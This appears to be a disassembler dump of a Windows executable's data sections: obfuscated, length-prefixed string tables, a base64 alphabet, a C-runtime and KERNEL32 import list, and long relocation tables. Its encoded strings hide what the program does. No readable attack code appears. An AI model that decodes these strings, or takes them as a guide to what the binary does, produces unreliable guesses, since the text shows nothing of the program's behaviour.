dd 0CAC2EAC8h, 0DED5C8h, 4F08000Dh, 715B7C6Dh, 656D7C7Bh
dd 6D65615Ch, 8F000900h, 0EEECE0C3h, 0EAFDC9E3h, 0A00EAh
dd 111D3E72h, 1E331E13h, 111D1Eh, 2076000Bh, 302041Fh
dd 4301A17h, 0C001313h, 0EAD58300h, 0E2F6F7F1h, 0EFEFC2EFh
dd 800E0ECh, 5D6A3800h, 517E5C59h, 0C005D54h, 0A381C600h
dd 0ABA392B2h, 0B2A796B6h, 120087AEh, 0C9C28500h, 0E9E4E7EAh
dd 0EAE8E0C8h, 0F1D6FCF7h, 0F6F0F1E4h, 0E9001300h, 9D859CA4h
dd 9D90AB80h, 0BE86BD8Ch, 0AA8C8D80h, 9B8881h, 0C7900013h
dd 0D3F5F4F9h, 0C4E2F1F8h, 0FCE5DDFFh, 0E9D2F9E4h, 700F5E4h
dd 8BB5E200h, 879AA78Ch, 80081h, 32352A46h, 28232A34h
dd 0B0011h, 3F2E0C4Bh, 2E27220Dh, 2E312218h, 0C8000B00h
dd 0BBA7A48Bh, 0A6A980ADh, 0ADA4ACh, 71260009h, 43524F54h
dd 434A4F60h, 0C0000E00h, 86B4A593h, 90A5ACA9h, 0B4AEA9AFh
dd 0B00B2A5h, 0C3E2A600h, 0C3D2C3CAh, 0C3CACFE0h, 0B00E7h
dd 899EAFECh, 0AA89988Dh, 0AD898085h, 0E7000C00h, 838688ABh
dd 95858EABh, 0A69E9586h, 86001000h, 0CBF2E3C1h, 0EAF3E2E9h
dd 0E8E7CEE3h, 0C7E3EAE2h, 0BB000400h, 0CBDEDEF9h, 98000A00h
dd 0ECF1E0DDh, 0FDEAF0CCh, 1200FCF9h, 78531600h, 73527B63h
dd 79627D65h, 787F4166h, 65617972h, 0E1000D00h, 858F88A7h
dd 858F88B6h, 99A4968Eh, 1000A0h, 37240256h, 373A2538h
dd 331B3322h, 31372525h, 0A0033h, 0F0F7CC9Fh, 0F1F6C8E8h
dd 0E8F0FBh, 0CE9D000Eh, 0F4CAE9F8h, 0EAF2F9F3h, 0E9E5F8C9h
dd 0E00DCh, 16073162h, 60C0B35h, 0D2E150Dh, 23050Ch, 0F3A00008h
dd 0C9F4D4C5h, 0D2C5CDh, 590A0008h, 654C7E6Fh, 797F69h
dd 0EBB8000Ch, 0F5DCD6DDh, 0D9CBCBDDh, 0F9DDDFh, 0BAE8000Eh
dd 9B818F8Dh, 0AB9A8D9Ch, 9B9B8984h, 0A00A9h, 140D2F62h
dd 0C0B3507h, 150D06h, 0D40000Bh, 21333325h, 2F022527h
dd 9000138h, 3F1C5000h, 33193431h, 113E3Fh, 4D01000Bh
dd 4265606Eh, 6E727374h, 0E004073h, 0A587C000h, 0AEA997B4h
dd 94B7AFA4h, 81B4B8A5h, 99000D00h, 0CEEDFCDEh, 0F6FDF7F0h
dd 0FAFCCBEEh, 0E00EDh, 47567433h, 575D5A64h, 5C7F445Ch
dd 72545Dh, 0EAAD0009h, 0C4FAD9C8h, 0DAC2C9C3h, 94000B00h
dd 0D9E0F1D3h, 0F5E7E7F1h, 0D5F1F3h, 61260013h, 49605243h
dd 54414354h, 42485349h, 42484F71h, 0D005149h, 50723500h
dd 54597641h, 547B4646h, 745058h, 793D0010h, 5C4D4E54h
dd 70555E49h, 5C4E4E58h, 7C585Ah, 2C68000Dh, 1A1C1B0Dh
dd 13F1107h, 1F070C06h, 0C3000E00h, 94A5A687h, 0ACA7ADAAh
dd 0ACB193B4h, 0F0082A0h, 0C9F8BB00h, 0DECFDADEh, 0DFD5D2ECh
dd 0C3FECCD4h, 0F00FAh, 4F426023h, 4D4A744Fh, 73544C47h
dd 62404C51h, 0D2000A00h, 0A0B7A1A7h, 0B6FCE0E1h, 0A00BEBEh
dd 5F592C00h, 1E1F5E49h, 40404802h, 89000F00h, 0EDD5FAACh
dd 0FCACE5EFh, 0A7BBBAF3h, 0E5E5EDh, 0FBDE000Fh, 0B8B582ADh
dd 0A4B2ABFBh, 0BAF0ECEDh, 400B2B2h, 0BAFCD900h, 80085E3h
dd 0A7D4F400h, 0BDA2A6B1h, 600B1B7h, 171D4E00h, 30B1A1Dh
dd 0B6000600h, 9BC7DDDDh, 800CEC0h, 0BBEDC800h, 0B0BCA597h
dd 0A00BDEDh, 42572400h, 574B7B47h, 4848400Ah, 10000A00h
dd 4F737663h, 743E637Fh, 4007C7Ch, 0EBAD8800h, 0C00D4B2h
dd 0A68BCF00h, 0AA88BFBCh, 0BDAE9FBBh, 0B00A2AEh, 3C0B5D00h
dd 333C342Fh, 34331429h, 0C0029h, 8093A4F2h, 869C939Bh
dd 93979EB1h, 0D0080h, 242E0457h, 32322511h, 3E252304h
dd 0E003039h, 0B993C000h, 0ACAC81B3h, 0B493A3AFh, 0A7AEA9B2h
dd 78000C00h, 191D1417h, 4A4B0C0Dh, 14141C56h, 0E0000C00h
dd 81858C8Fh, 0D2D39495h, 8C8C84CEh, 90000200h, 100B0B0h
dd 0EDC200h, 0A8C50012h, 0A9B1A6B6h, 0B1B69AB6h, 0B6B0B1A4h
dd 0F6B7A4A7h, 0E00F7h, 3E3D085Ch, 3832350Bh, 301F2B33h
dd 2F2F3Dh, 5F230001h, 91000200h, 100EDB1h, 0CFF500h, 6E4E0004h
dd 743B6Bh, 0EE920001h, 74000A00h, 3B324854h, 514E3926h
dd 0B004A01h, 0E6FADA00h, 979B889Ch, 0AFFFE09Fh, 0A00E4h
dd 0D2A8B494h, 0D1D9D5C6h, 0AAD9AEh, 400h, 0A600C800h
dd 0A500A900h, 0AD00h, 500h, 33004500h, 29002400h, 20003000h
dd 41000000h, 45444342h, 49484746h, 4D4C4B4Ah, 51504F4Eh
dd 55545352h, 59585756h, 6362615Ah, 67666564h, 6B6A6968h
dd 6F6E6D6Ch, 73727170h, 77767574h, 307A7978h, 34333231h
dd 38373635h, 2F2B39h, 2F2F3Ah, 0A0597200h, 0CFF6A89Bh
dd 42A411h, 8F0AC9A0h, 4106E039h, 0D0399AFEh, 8CA411h
dd 8F0AC9A0h, 0A715A039h, 0D0658734h, 4A9211h, 0ACC7AF20h
dd 50F25B4Dh, 0CF98B530h, 82BB11h, 0CEBD00AAh, 96B2840Bh
dd 1ABAB4B1h, 9CB610h, 1D3400AAh, 2040007h, 0
dd 0C000h, 0
dd 2C442546h, 0D026CB33h, 83B411h, 1D94FC0h, 50F21F19h
dd 0CF98B530h, 82BB11h, 0CEBD00AAh, 50F1FF0Bh, 0CF98B530h
dd 82BB11h, 0CEBD00AAh, 50F1F70Bh, 0CF98B530h, 82BB11h
dd 0CEBD00AAh, 50F2400Bh, 0CF98B530h, 82BB11h, 0CEBD00AAh
dd 2C44270Bh, 0D026CB33h, 83B411h, 1D94FC0h, 0CB690019h
dd 0CF4D9585h, 0C9611h, 0EEF4C780h, 85h, 0
dd 0C000h, 0
dd 0C166146h, 0D0CDAFD3h, 3E8A11h, 0E2C94FC0h, 6Eh, 45h dup(0)
dd 1507000h, 2 dup(0)
dd 1518400h, 150AC00h, 1508400h, 2 dup(0)
dd 151A000h, 150C000h, 12h dup(0)
dd 150E800h, 150F800h, 1511400h, 2 dup(0)
dd 1512000h, 1512C00h, 1514000h, 1514C00h, 1515800h, 1516400h
dd 1516C00h, 1517800h, 2 dup(0)
dd 150E800h, 150F800h, 1511400h, 2 dup(0)
dd 1512000h, 1512C00h, 1514000h, 1514C00h, 1515800h, 1516400h
dd 1516C00h, 1517800h, 2 dup(0)
dd 45009B00h, 50746978h, 65636F72h, 7373h, 47012400h, 6E457465h
dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 41h, 52027800h
dd 6E556C74h, 646E6977h, 5F008000h, 706F6466h, 6E65h, 5F014F00h
dd 6E65706Fh, 66736F5Fh, 646E6168h, 656Ch, 66020D00h, 736F6C63h
dd 65h, 5F003900h, 69786563h, 74h, 6D024E00h, 6F6C6C61h
dd 63h, 72026000h, 65736961h, 73026700h, 75627465h, 66h
dd 73027500h, 70637274h, 79h, 52454B00h, 334C454Eh, 6C642E32h
dd 6Ch, 1500000h, 2 dup(1500010h), 54524310h, 2E4C4C44h
dd 4C4C44h, 1501400h, 7 dup(1501410h), 10h, 0Dh dup(0)
dd 2000h, 0
dd 2000h, 100000h, 0C20000h, 0D00000h, 1060000h, 78h dup(0)
dd 100000h, 14800h, 8C303100h, 0FD30F330h, 13310530h, 21311931h
dd 0B6312731h, 0FC31EF31h, 0E320131h, 23321332h, 3E322932h
dd 2F32B432h, 42333533h, 5A335433h, 8A338533h, 0BB339133h
dd 0D233CC33h, 0EE33E733h, 2B341633h, 6F345434h, 0A1347634h
dd 0E834A734h, 0FC34F534h, 10350834h, 71356835h, 0A5358135h
dd 0C335BC35h, 0DB35D235h, 0E35E235h, 4A362536h, 0C5367F36h
dd 0F336CB36h, 1036F936h, 4C372737h, 81377137h, 9D379137h
dd 0B737A837h, 0A37E337h, 20381038h, 76383338h, 0B8389238h
dd 1338EA38h, 40392C39h, 6F395D39h, 0A2397639h, 0F239A839h
dd 1B3A0239h, 453A2F3Ah, 853A5C3Ah, 0BC3AB53Ah, 0EA3ADC3Ah
dd 33AFD3Ah, 653B393Bh, 793B6B3Bh, 943B7F3Bh, 0C33BB93Bh
dd 0F73BF03Bh, 373C253Bh, 653C4A3Ch, 7C3C753Ch, 0C43CA03Ch
dd 0EC3CCA3Ch, 143CF53Ch, 2F3D1E3Dh, 533D363Dh, 783D593Dh
dd 8C3D863Dh, 0AA3DA13Dh, 0CA3DB53Dh, 0DE3DD03Dh, 173DE83Dh
dd 3C3E1D3Eh, 4F3E453Eh, 693E583Eh, 803E733Eh, 9B3E863Eh
dd 0B13EA53Eh, 343EFF3Eh, 633F3A3Fh, 0A13F7A3Fh, 0BA3FA83Fh
dd 0D53FCB3Fh, 20003Fh, 28400h, 30302900h, 67305030h, 84307E30h
dd 0BC30B630h, 0F730C330h, 330FC30h, 19311331h, 4C314531h
dd 71316B31h, 0B831B331h, 0E531D131h, 0FE31F931h, 25321131h
dd 89327D32h, 0B0329C32h, 0C832B532h, 15330832h, 0C2332133h
dd 0E433D633h, 0D33F633h, 1A341434h, 2F342934h, 53344234h
dd 79345934h, 90348534h, 0BA34AB34h, 0D434C734h, 0EC34DF34h
dd 0FA34F134h, 0C350734h, 1D351135h, 28352335h, 39352D35h
dd 44353F35h, 55354935h, 60355B35h, 71356535h, 7C357735h
dd 90358135h, 9B359635h, 0AB35A535h, 0C535B035h, 0E535CC35h
dd 535EC35h, 47360C36h, 6A365836h, 85367F36h, 0A0368F36h
dd 0B236AD36h, 0C836BB36h, 0D336CD36h, 0E536DB36h, 0F036EB36h
dd 0C370436h, 26371637h, 58374137h, 6E376937h, 8F378537h
dd 0CD37C837h, 0DE37D837h, 0D37F937h, 1E381838h, 44383838h
dd 87386A38h, 9D389738h, 0D338C538h, 0FD38E838h, 11390338h
dd 38392339h, 98394939h, 0AA39A239h, 0B939B039h, 0DE39C139h
dd 0FC39F439h, 123A0139h, 243A1C3Ah, 3B3A353Ah, 513A4B3Ah
dd 633A583Ah, 893A7C3Ah, 9C3A903Ah, 0C33AA93Ah, 0D73AC93Ah
dd 0EB3AE13Ah, 0FE3AF43Ah, 0F3B093Ah, 203B1A3Bh, 2C3B263Bh
dd 3F3B383Bh, 583B4E3Bh, 0A03B933Bh, 0B13BAC3Bh, 0CE3BBD3Bh
dd 0D93BD43Bh, 0F63BE53Bh, 23BFC3Bh, 0D3C073Ch, 183C123Ch
dd 223C1D3Ch, 343C2E3Ch, 493C3E3Ch, 543C4E3Ch, 5F3C593Ch
dd 6A3C643Ch, 753C6F3Ch, 883C7A3Ch, 993C933Ch, 0A83CA13Ch
dd 0C13CB63Ch, 0CD3CC63Ch, 0E23CDB3Ch, 0EF3CE73Ch, 0C3CF43Ch
dd 2D3D233Dh, 543D4E3Dh, 683D593Dh, 743D6E3Dh, 943D7B3Dh
dd 0AD3DA03Dh, 0C83DB53Dh, 0E03DCD3Dh, 0F23DED3Dh, 83DFB3Dh
dd 123E0D3Eh, 243E1E3Eh, 2E3E293Eh, 403E3A3Eh, 4A3E453Eh
dd 5C3E563Eh, 663E613Eh, 783E723Eh, 823E7D3Eh, 943E8E3Eh
dd 9E3E993Eh, 0B03EAA3Eh, 0BA3EB53Eh, 0CC3EC63Eh, 0D63ED13Eh
dd 0E83EE23Eh, 0F23EED3Eh, 43EFE3Eh, 0E3F093Fh, 203F1A3Fh
dd 2A3F253Fh, 3C3F363Fh, 463F413Fh, 583F523Fh, 623F5D3Fh
dd 743F6E3Fh, 7E3F793Fh, 903F8A3Fh, 9A3F953Fh, 0AC3FA63Fh
dd 0B63FB13Fh, 0C83FC23Fh, 0D23FCD3Fh, 0E43FDE3Fh, 0EE3FE93Fh
dd 3FFA3Fh, 300000h, 29000h, 5300000h, 16300A30h, 21301C30h
dd 32302630h, 3D303830h, 4E304230h, 59305430h, 6A305E30h
dd 75307030h, 86307A30h, 91308C30h, 0A2309630h, 0AD30A830h
dd 0BE30B230h, 0C930C430h, 0DD30CE30h, 0E830E330h, 730FF30h
dd 19311331h, 23311E31h, 35312F31h, 3F313A31h, 51314B31h
dd 5B315631h, 6D316731h, 77317231h, 89318331h, 93318E31h
dd 0A5319F31h, 0AF31AA31h, 0C131BB31h, 0CB31C631h, 0DD31D731h
dd 0E731E231h, 0F931F331h, 331FE31h, 15320F32h, 1F321A32h
dd 31322B32h, 3B323632h, 4D324732h, 57325232h, 69326332h
dd 73326E32h, 85327F32h, 8F328A32h, 0A1329B32h, 0AB32A632h
dd 0BD32B732h, 0C732C232h, 0D932D332h, 0E332DE32h, 0F532EF32h
dd 0FF32FA32h, 11330B32h, 1B331633h, 2D332733h, 37333233h
dd 49334333h, 53334E33h, 65335F33h, 6F336A33h, 81337B33h
dd 8B338633h, 9D339733h, 0A733A233h, 0B933B333h, 0C333BE33h
dd 0D533CF33h, 0DF33DA33h, 0F133EB33h, 0FB33F633h, 0D340733h
dd 17341234h, 29342334h, 33342E34h, 45343F34h, 4F344A34h
dd 61345B34h, 6B346634h, 7D347734h, 87348234h, 99349334h
dd 0A3349E34h, 0B534AF34h, 0BF34BA34h, 0D134CB34h, 0DB34D634h
dd 0ED34E734h, 0F734F234h, 9350334h, 13350E35h, 25351F35h
dd 2F352A35h, 41353B35h, 4B354635h, 5D355735h, 67356235h
dd 79357335h, 83357E35h, 95358F35h, 9F359A35h, 0B735B135h
dd 0D535BC35h, 0E735DB35h, 0C35F035h, 25361336h, 51362B36h
dd 80367536h, 0BF36B936h, 4336FA36h, 64374937h, 0A837A037h
dd 0C237BC37h, 0EC37E537h, 7380137h, 23381A38h, 6B383D38h
dd 0A1389B38h, 0C038AD38h, 0E738D338h, 138FB38h, 13390639h
dd 1E391939h, 31392B39h, 43393639h, 4E394939h, 8E398639h
dd 9A399439h, 0C239AD39h, 0D639CF39h, 0D39FA39h, 673A323Ah
dd 0B13AAA3Ah, 0E03AC73Ah, 0D3AE63Ah, 383B133Bh, 993B3E3Bh
dd 0A3BF33Bh, 2E3C173Ch, 583C413Ch, 883C823Ch, 0ED3CBC3Ch
dd 2E3D243Ch, 793D4E3Dh, 923D7F3Dh, 0D83DCE3Dh, 653E143Dh
dd 733E6D3Eh, 873E803Eh, 9A3E943Eh, 0B63EA83Eh, 0CD3EBD3Eh
dd 0ED3EDB3Eh, 23EF43Eh, 183F0E3Fh, 2A3F233Fh, 643F353Fh
dd 7A3F6B3Fh, 0A93F8C3Fh, 0C63FB23Fh, 3FD33Fh, 400000h
dd 1F000h, 2F302900h, 0A9309E30h, 0CA30C430h, 0FE30F630h
dd 61315530h, 76317031h, 0C3317D31h, 0EF31E931h, 26320731h
dd 33322E32h, 3E323932h, 56324532h, 77325D32h, 93328C32h
dd 0B2329B32h, 0C832BE32h, 0D532CE32h, 0E432DD32h, 932EA32h
dd 31331E33h, 57334133h, 86337A33h, 0B1339533h, 0CE33C333h
dd 0E033DB33h, 0F633E933h, 33FB33h, 12340C34h, 1C341734h
dd 2E342834h, 38343334h, 4A344434h, 54344F34h, 66346034h
dd 70346B34h, 85347F34h, 98348A34h, 0C234B534h, 0D034C734h
dd 0E234DD34h, 0F334E734h, 0FE34F934h, 12350334h, 1D351835h
dd 4E353435h, 80356235h, 90358A35h, 0A3359735h, 0B735AA35h
dd 0CD35C735h, 635F235h, 39363036h, 4F364536h, 62365536h
dd 6F366936h, 8A368336h, 0B4369536h, 0DA36D436h, 0FE36EB36h
dd 17370A36h, 2F372037h, 46373B37h, 62375237h, 80376C37h
dd 95378F37h, 0B437AD37h, 0DC37C137h, 437E237h, 32381038h
dd 46383C38h, 64384C38h, 94386B38h, 0AA389D38h, 0BB38B438h
dd 0CF38C238h, 0E038DA38h, 0F738F138h, 37393238h, 48394239h
dd 9B396239h, 0BF39AC39h, 0D839D339h, 0F539EB39h, 1739FB39h
dd 3D3A2D3Ah, 543A4D3Ah, 643A5D3Ah, 853A703Ah, 0A33A8D3Ah
dd 0C53ABA3Ah, 0E63ACC3Ah, 0FF3AF93Ah, 1C3B103Ah, 4A3B2E3Bh
dd 5B3B553Bh, 0A73B923Bh, 0C43BBD3Bh, 0E63BD13Bh, 0FB3BF23Bh
dd 0B3C053Bh, 2E3C213Ch, 433C3A3Ch, 553C4C3Ch
dd 773C663Ch, 903C7D3Ch, 0ED3CD03Ch, 3E3D2A3Ch, 0C23D5B3Dh
dd 0D93DC93Dh, 0F33DE03Dh, 63DF93Dh, 253E0D3Eh, 593E4C3Eh
dd 0A53E5E3Eh, 0B83EAB3Eh, 0DF3EBE3Eh, 93EF83Eh, 373F213Fh
dd 993F933Fh, 0B63FAF3Fh, 0DC3FCE3Fh, 0FB3FE33Fh, 50003Fh
dd 21800h, 1F300900h, 41302E30h, 4D304630h, 97308730h
dd 0AF30A130h, 0C730B830h, 0DC30D130h, 0FB30EE30h, 1A310730h
dd 2E312131h, 40313731h, 55314A31h, 68315E31h, 0B3316D31h
dd 0BE31B931h, 0D531C831h, 0E331DA31h, 0F531F031h, 631FA31h
dd 11320C32h, 22321632h, 2D322832h, 3E323232h, 49324432h
dd 5D324E32h, 68326332h, 7D327032h, 8B328232h, 9D329832h
dd 0AF32A232h, 0BA32B532h, 0F732EE32h, 1B330932h, 3D332833h
dd 5A335133h, 95336833h, 0B133A733h, 0DD33B733h, 0F633E433h
dd 22341733h, 50344334h, 64345E34h, 75347034h, 99347B34h
dd 0B934A034h, 0D934C034h, 1334E034h, 21351B35h, 32352735h
dd 60353935h, 6D356735h, 0A1357235h, 0B035AA35h, 0C435BB35h
dd 0D835CB35h, 135DE35h, 36360E36h, 53363C36h, 6F366936h
dd 95368E36h, 0F636AD36h, 1A36FC36h, 37373037h, 8B378237h
dd 0E437A037h, 0FF37F837h, 24381837h, 53383D38h, 79385F38h
dd 0B638AF38h, 0E138D638h, 0F438ED38h, 47391038h, 70396239h
dd 88398239h, 0B539A539h, 0CD39BE39h, 0EE39DB39h, 1439F939h
dd 253A1E3Ah, 4E3A313Ah, 6E3A5A3Ah, 8F3A753Ah, 0BD3A9D3Ah
dd 0D33ACC3Ah, 0F73AE93Ah, 173AFC3Ah, 283B223Bh, 483B3F3Bh
dd 673B573Bh, 8B3B733Bh, 9C3B963Bh, 0AF3BA93Bh, 0C33BB63Bh
dd 233BE73Bh, 0D13C9B3Ch, 0E63CD83Ch, 0FA3CED3Ch, 0E3D083Ch
dd 2A3D213Dh, 3B3D353Dh, 523D4B3Dh, 693D633Dh, 7E3D783Dh
dd 993D893Dh, 0B03DA73Dh, 0C83DB93Dh, 0DD3DCE3Dh, 0F03DE33Dh
dd 43DF63Dh, 1D3E103Eh, 363E2A3Eh, 4D3E413Eh, 663E563Eh
dd 763E6F3Eh, 813E7C3Eh, 0A63E9D3Eh, 0B53EAD3Eh, 0C23EBA3Eh
dd 0D83ECE3Eh, 0F23EE63Eh, 0D3F073Eh, 253F143Fh, 3C3F2D3Fh
dd 523F4C3Fh, 6C3F653Fh, 973F883Fh, 0AF3F9E3Fh, 0BF3FB63Fh
dd 0D03FC63Fh, 0E83FD63Fh, 0FF3FF03Fh, 60003Fh, 1C000h
dd 19300C00h, 39303330h, 4B303F30h, 71306A30h, 0AE308630h
dd 0C030B430h, 0E430D630h, 0FC30F630h, 11310830h, 53312E31h
dd 76316031h, 9D318331h, 0C331A431h, 0E931CE31h, 631FF31h
dd 26321A32h, 3A322B32h, 71324C32h, 0B5327D32h, 0E932D132h
dd 732EF32h, 25330D33h, 43332B33h, 73336D33h, 90338A33h
dd 0A3339A33h, 0B233A833h, 0C033B733h, 0E133CB33h, 0FD33F133h
dd 19340433h, 43342D34h, 78346634h, 9B349434h, 0C834AD34h
dd 0FE34DA34h, 28350434h, 40352E35h, 60355A35h, 8E357235h
dd 0A7359535h, 0DB35D235h, 335E235h, 43361E36h, 5C365536h
dd 74366436h, 0BB368F36h, 0E036D536h, 0F736E636h, 136FC36h
dd 10370A37h, 2B371737h, 44373837h, 5F374B37h, 98376637h
dd 0AD37A737h, 0D537C137h, 0EB37DC37h, 1137FD37h, 6B382138h
dd 9C387D38h, 0B638A538h, 0C838BC38h, 0F838D438h, 1C390938h
dd 35393039h, 5D394839h, 83397339h, 0AF39A839h, 0EA39CC39h
dd 3139F039h, 543A373Ah, 0BC3A5C3Ah, 3AC43Ah, 273B063Bh
dd 513B403Bh, 803B573Bh, 0D73BC93Bh, 0A3BE83Bh, 223C163Ch
dd 7D3C6C3Ch, 0A33C8F3Ch, 0BE3CAA3Ch, 0D63CD03Ch, 0FC3CEA3Ch
dd 173D033Ch, 313D2B3Dh, 4E3D473Dh, 683D623Dh, 883D7E3Dh
dd 0B23D9E3Dh, 0CF3DB93Dh, 0EA3DD83Dh, 103DF03Dh, 373E183Eh
dd 473E3E3Eh, 5B3E4D3Eh, 7D3E623Eh, 0A33E843Eh, 0BB3EB13Eh
dd 0CF3EC73Eh, 0F03EEA3Eh, 143EF73Eh, 323F1A3Fh, 493F413Fh
dd 6A3F513Fh, 7C3F733Fh, 0AD3F853Fh, 0C63FB23Fh, 0FA3FDE3Fh
dd 70003Fh, 25000h, 39302300h, 52303F30h, 65305A30h, 0A8309D30h
dd 0DC30C430h, 0F530EF30h, 0D310430h, 2E312731h, 5C314031h
dd 74316331h, 0AF318431h, 0CD31B631h, 0F131D331h, 131F731h
dd 1C320C32h, 4E324732h, 6E325432h, 80327932h, 0AB328E32h
dd 0CA32B332h, 0D932D332h, 0EB32E432h, 432FB32h, 12330B33h
dd 22331B33h, 3E333933h, 6D334E33h, 80337933h, 0A1339433h
dd 0B533A833h, 0D533BC33h, 0E533DB33h, 233FD33h, 2B341134h
dd 64344334h, 94346934h, 0AA349A34h, 0BB34B434h, 0DE34D834h
dd 0FF34E834h, 13350834h, 29352335h, 38353235h, 47354135h
dd 5A355035h, 76357135h, 0B1358635h, 0C335B735h, 0D435CA35h
dd 0E835DE35h, 0B35EE35h, 1B361136h, 38363336h, 76364836h
dd 89367C36h, 99369236h, 0A936A236h, 0CE36C836h, 0F036D836h
dd 0FD36F736h, 2C371136h, 41373A37h, 66376037h, 7E376B37h
dd 0A2379137h, 0C537A837h, 0E037CB37h, 37F037h, 31382B38h
dd 42383C38h, 57384D38h, 91387938h, 0B5389638h, 0C038BB38h
dd 0FB38D038h, 13390238h, 3F391E39h, 52394639h, 6E396939h
dd 0AC397E39h, 0B939B339h, 0D139C439h, 0E339DD39h, 0F939ED39h
dd 203A1639h, 563A383Ah, 783A5C3Ah, 8B3A7E3Ah, 0A63A903Ah
dd 0C83AAC3Ah, 0DB3ACE3Ah, 0F63AE03Ah, 183AFC3Ah, 2B3B1E3Bh
dd 463B303Bh, 683B4C3Bh, 7B3B6E3Bh, 963B803Bh, 0B03B9C3Bh
dd 0C33BB63Bh, 0D23BC93Bh, 0DF3BD93Bh, 13BE43Bh, 693C5B3Ch
dd 793C6F3Ch, 923C863Ch, 0AC3C9C3Ch, 0D63CBC3Ch, 0EE3CE73Ch
dd 93CFE3Ch, 283D0F3Dh, 493D3C3Dh, 593D4F3Dh, 683D613Dh
dd 893D793Dh, 0A83D993Dh, 0BD3DB73Dh, 0CF3DC83Dh, 0E63DE13Dh
dd 83DF63Dh, 193E0E3Eh, 303E233Eh, 533E453Eh, 733E583Eh
dd 8C3E7E3Eh, 9A3E923Eh, 0A93EA33Eh, 0C13EB53Eh, 0D23EC73Eh
dd 0DD3ED73Eh, 0F03EE93Eh, 143F0A3Eh, 243F1B3Fh, 4F3F343Fh
dd 5A3F553Fh, 713F643Fh, 7F3F763Fh, 913F8C3Fh, 0A23F963Fh
dd 0AD3FA83Fh, 0BE3FB23Fh, 0C93FC43Fh, 0DA3FCE3Fh, 0E53FE03Fh
dd 0F63FEA3Fh, 3FFC3Fh, 800000h, 1FC00h, 6300100h, 18301230h
dd 22301D30h, 34302E30h, 3E303930h, 50304A30h, 5A305530h
dd 6C306630h, 76307130h, 88308230h, 92308D30h, 0A4309E30h
dd 0AE30A930h, 0C030BA30h, 0CA30C530h, 0DC30D630h, 0E630E130h
dd 0F830F230h, 230FD30h, 17311131h, 4B311C31h, 63315B31h
dd 0BB31AD31h, 0D931C831h, 0EE31E631h, 21321331h, 31322632h
dd 64325F32h, 8B327D32h, 0A5329E32h, 0C432B632h, 0D632C932h
dd 0F532E532h, 48332F32h, 69335E33h, 76337033h, 0C533A533h
dd 0E933D633h, 933FE33h, 28341034h, 3A343434h, 4C344734h
dd 66345F34h, 83347634h, 99349234h, 534D034h, 27351F35h
dd 67355635h, 82357B35h, 0AA359235h, 0C235B035h, 0D235CB35h
dd 0F435D935h, 10360535h, 46362336h, 5D364D36h, 93367136h
dd 0B636B036h, 0FA36C336h, 1E371736h, 42373B37h, 73375A37h
dd 81377B37h, 91378737h, 0C337AD37h, 0D937D337h, 37DE37h
dd 23381A38h, 34382E38h, 48383D38h, 75384E38h, 81387A38h
dd 0C438BF38h, 0DF38D738h, 2338E538h, 48394239h, 78396239h
dd 8F397F39h, 0B5399539h, 0D139C639h, 3339E039h, 623A4C3Ah
dd 813A683Ah, 9D3A973Ah, 0B93AA83Ah, 0DA3AC13Ah, 0ED3AE73Ah
dd 43AFA3Ah, 343B2E3Bh, 483B3B3Bh, 6C3B4E3Bh, 953B8F3Bh
dd 0A03B9A3Bh, 0B53BAE3Bh, 0C73BC13Bh, 0EA3BD63Bh, 0FA3BF03Bh
dd 213C0D3Bh, 4A3C443Ch, 5D3C4F3Ch, 753C693Ch, 8A3C7B3Ch
dd 0A43C9E3Ch, 0C13CAE3Ch, 0F83CD53Ch, 53CFE3Ch, 193D133Dh
dd 4C3D3A3Dh, 9F3D523Dh, 193DA53Dh, 5C3E503Eh, 713E613Eh
dd 913E7D3Eh, 0B53E963Eh, 0CF3EBB3Eh, 0DF3ED53Eh, 63EF23Eh
dd 203F1A3Fh, 463F2D3Fh, 603F4C3Fh, 6D3F663Fh, 0A53F8A3Fh
dd 0C13FAB3Fh, 0E23FDC3Fh, 3FF53Fh, 900000h, 1D000h, 16301000h
dd 44302930h, 54304A30h, 9F309230h, 0DB30C730h, 0F530EF30h
dd 43310B30h, 61314931h, 86317731h, 96318D31h, 0A5319D31h
dd 0BF31B831h, 0E331D131h, 42323931h, 84327D32h, 0D332AD32h
dd 0E632D932h, 0FC32F532h, 32330C32h, 47334033h, 71335933h
dd 94338433h, 0AC339A33h, 0C133B233h, 0E733D733h, 33F933h
dd 2C341A34h, 40343834h, 5B345534h, 9E346134h, 0BB34B534h
dd 0DB34CD34h, 634FF34h, 35352235h, 52353E35h, 78356A35h
dd 0A1358035h, 0E735D535h, 0F835F235h, 0F360435h, 1F361736h
dd 33362536h, 63365A36h, 7C367636h, 0A5369E36h, 0DD36C336h
dd 0F136E236h, 1536F936h, 33372437h, 48374337h, 78375737h
dd 0A0378337h, 0C137A637h, 0D537C637h, 8380237h, 27381838h
dd 4C383538h, 66385838h, 8E388038h, 0B0389738h, 0EC38D038h
dd 12390B38h, 48394239h, 8A398339h, 9F399839h, 0C739B439h
dd 0ED39DA39h, 539FC39h, 413A253Ah, 5F3A553Ah, 8E3A653Ah
dd 0B53AAF3Ah, 0CB3AC53Ah, 0DD3AD83Ah, 143AE93Ah, 463B313Bh
dd 5D3B503Bh, 773B623Bh, 0B13B853Bh, 0D53BC23Bh, 0EE3BE93Bh
dd 0B3C013Bh, 1E3C113Ch, 3A3C243Ch, 523C463Ch, 763C683Ch
dd 913C843Ch, 9C3C963Ch, 0B83CAC3Ch, 0DD3CBF3Ch, 0FD3CE43Ch
dd 1D3D043Ch, 4D3D243Dh, 5F3D5A3Dh, 753D683Dh, 803D7A3Dh
dd 953D883Dh, 0A03D9B3Dh, 0D03DBF3Dh, 0F73DE33Dh, 0F3DFC3Dh
dd 1F3E193Eh, 403E2C3Eh, 773E6A3Eh, 9C3E7C3Eh, 0C53EA33Eh
dd 0D53ECE3Eh, 0E03EDB3Eh, 0FF3EF93Eh, 273F1C3Eh, 6F3F653Fh
dd 823F7C3Fh, 0B43F943Fh, 0E83FCA3Fh, 0A0003Fh, 10800h
dd 52303300h, 65305B30h, 86307F30h, 1F30BA30h, 59312631h
dd 6F316031h, 83317531h, 95318E31h, 0B9327F31h, 0E132CD32h
dd 0F532E732h, 0D933B332h, 18341033h, 67346034h, 7E347734h
dd 98349134h, 0B834A934h, 0D034BE34h, 0E634D634h, 81356034h
dd 0D8358835h, 62365C35h, 0CD36A736h, 3B372E36h, 6E374037h
dd 83377D37h, 0A3378D37h, 0F737D437h, 1537FD37h, 31382A38h
dd 7A384B38h, 87388138h, 0BE38B438h, 2238CE38h, 42392939h
dd 5B395539h, 74396E39h, 0A0399339h, 0D139BB39h, 193A0E39h
